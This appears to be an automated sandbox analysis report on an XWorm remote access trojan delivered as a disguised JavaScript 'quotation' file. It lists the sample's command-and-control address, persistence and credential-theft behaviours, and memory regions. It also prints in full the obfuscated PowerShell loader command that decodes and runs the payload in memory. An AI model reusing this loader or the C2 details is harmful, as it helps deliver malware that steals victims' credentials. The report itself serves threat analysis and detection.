Analysis

  • max time kernel
    149s
  • max time network
    145s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    30/09/2026, 08:28

General

  • Target
    Quotation specification items.js
  • Size 540B
  • Sample260930-kc6rdasdna
  • SHA256 d82a5ada925fd980afb04e7902b9bfb8e23824736eb51256894b3da3a485d942
  • MD5 SHA1 SHA512 TLSH

Malware Config

Extracted

Family
  • xworm

Version
  • 5.0

C2
  • 84.38.129.15:4545

Mutex
  • wpfrUQhvmQHmDAUY

Attributes
  • Install_directory

    %AppData%

  • install_file

    XWormClient.exe

aes.plain

Signatures

  • Family: Xworm

    Xworm is a remote access trojan written in C#.

  • Detect Xworm Payload 1 IoCs
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Creates a file in the Startup directory 1 TTPs 2 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

  • Executes dropped EXE 1 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates connected drives 3 TTPs 1 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Suspicious use of SetThreadContext 1 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Script User-Agent 1 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe "C:\Users\Admin\AppData\Local\Temp\Quotation specification items.js"
    1⤵
    • Badlisted process makes network request
    • Reads the TCP/IP host and domain name from the registry
    PID:4108
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "$portions=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6;$oestrogen=[Convert]::FromBase64String($portions);[AppDomain]::CurrentDomain.Load($oestrogen)|Out-Null;[Win32.RMP.Cls_XdCUrBzoik]::Met_XdCUrBzoiksn('Goyw5XlDsmf/I9yvRvYOplvdi44UCPErfiTgDXBFX5mOaQdNmn9+uYlQ3Rubf2iF+XvTh0wVgtrqe6Qdbfti5g==','','QygWMnxvMWDH4KDnLCMF34j9q5jfdX5eT1G8a6Uavsn3OP8b7qxiGTZLUXqDxZ2Y','TsOoLtuOhReoSZeCizcHT8W1n9HGzShPfHgh3Ui5uw8=','KD97RjEG0mXnT5FxTPLpintwbs0NJ95AiJ5xG2cjCY0=','','k1n6ZnlOYJT3kD1UIVdXbNZtcBHhIURzu9IhSKrWfTM=','','4iZu056KSpGo7qqX3SuxP3qpjCRHj0gcFko3pdK8eWE=','iimXV7fGIQ42l3P3ZfwbD1W0TWv6XY2OmAvEHZSuUvjIDpw0HNjRISiu9U8zHuxP','9QD20NKtLyOixuvbuRyG+c32yvhbt+LqEchX9qoFs0c=','JUNQreauCubSqoNuqq77EVHRq8lotvKaPshRexy1Wg4=','wuRx9d/s8e/mZ1VGVQuX0HhuavNdDJG1/m4gO+iOKSI=','','JisJXg4009orpho3Go6ysMH9pKgMc1juxZhbONRkes4=','2nTzuLegKb37BnJiSePnRtTUB07t7uLz4pRKvWS8ncc=','','','')"
    1⤵
    • Process spawned unexpected child process
    • Badlisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Enumerates connected drives
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3516
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      2⤵
      • Creates a file in the Startup directory
      • Accesses Microsoft Outlook profiles
      • Adds Run key to start application
      • Reads the TCP/IP host and domain name from the registry
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: AddClipboardFormatListener
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • outlook_office_path
      • outlook_win_path
      PID:2096
  • C:\Users\Admin\AppData\Roaming\XWormClient.exe
    C:\Users\Admin\AppData\Roaming\XWormClient.exe
    1⤵
    • Executes dropped EXE
    • System Location Discovery: System Language Discovery
    PID:5656

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        XWormClient.exe

        • Path C:\Users\Admin\AppData\Roaming\XWormClient.exe
        • Size 57KB
        • SHA256 613b37387daf3698df4a8baf6e4350473ebc3f23682d368221cd8dea9de2fb63
        • MD5 SHA1 SHA512 SSDEEP TLSH

        memory/2096-35-0x00000000092B0000-0x0000000009416000-memory.dmp

        memory/2096-30-0x0000000008270000-0x00000000082D6000-memory.dmp

        memory/2096-18-0x0000000074D62000-0x0000000074D63000-memory.dmp

        memory/2096-34-0x0000000012370000-0x0000000012EA2000-memory.dmp

        memory/2096-33-0x000000000A950000-0x000000000A956000-memory.dmp

        memory/2096-31-0x00000000099A0000-0x000000000A804000-memory.dmp

        memory/2096-32-0x000000000A8B0000-0x000000000A92A000-memory.dmp

        memory/2096-36-0x0000000008860000-0x000000000886A000-memory.dmp

        memory/2096-37-0x000000000BFF0000-0x000000000C1B2000-memory.dmp

        memory/2096-26-0x00000000063B0000-0x00000000063BA000-memory.dmp

        memory/2096-25-0x00000000063F0000-0x0000000006482000-memory.dmp

        memory/2096-14-0x0000000000400000-0x0000000000410000-memory.dmp

        memory/2096-24-0x0000000006650000-0x0000000006C0A000-memory.dmp

        memory/2096-17-0x0000000005980000-0x0000000005A1C000-memory.dmp

        memory/3516-9-0x00007FFF40D30000-0x00007FFF416D4000-memory.dmp

        memory/3516-10-0x00007FFF40D30000-0x00007FFF416D4000-memory.dmp

        memory/3516-16-0x00007FFF40D30000-0x00007FFF416D4000-memory.dmp

        memory/3516-13-0x00007FFF40D30000-0x00007FFF416D4000-memory.dmp

        memory/3516-12-0x00007FFF40D30000-0x00007FFF416D4000-memory.dmp

        memory/3516-11-0x00007FFF40D30000-0x00007FFF416D4000-memory.dmp

        memory/3516-1-0x00007FFF40D30000-0x00007FFF416D4000-memory.dmp

        memory/3516-19-0x000001DCB1420000-0x000001DCB1430000-memory.dmp

        memory/3516-0-0x00007FFF40EBF000-0x00007FFF40EC0000-memory.dmp

        memory/3516-7-0x000001DCB13C0000-0x000001DCB13E2000-memory.dmp

        memory/3516-8-0x00007FFF40D30000-0x00007FFF416D4000-memory.dmp

        memory/3516-6-0x00007FFF40D30000-0x00007FFF416D4000-memory.dmp

        memory/3516-5-0x00007FFF40D30000-0x00007FFF416D4000-memory.dmp

        memory/3516-4-0x000001DCB1350000-0x000001DCB1372000-memory.dmp

        memory/5656-29-0x0000000000DC0000-0x0000000000DD2000-memory.dmp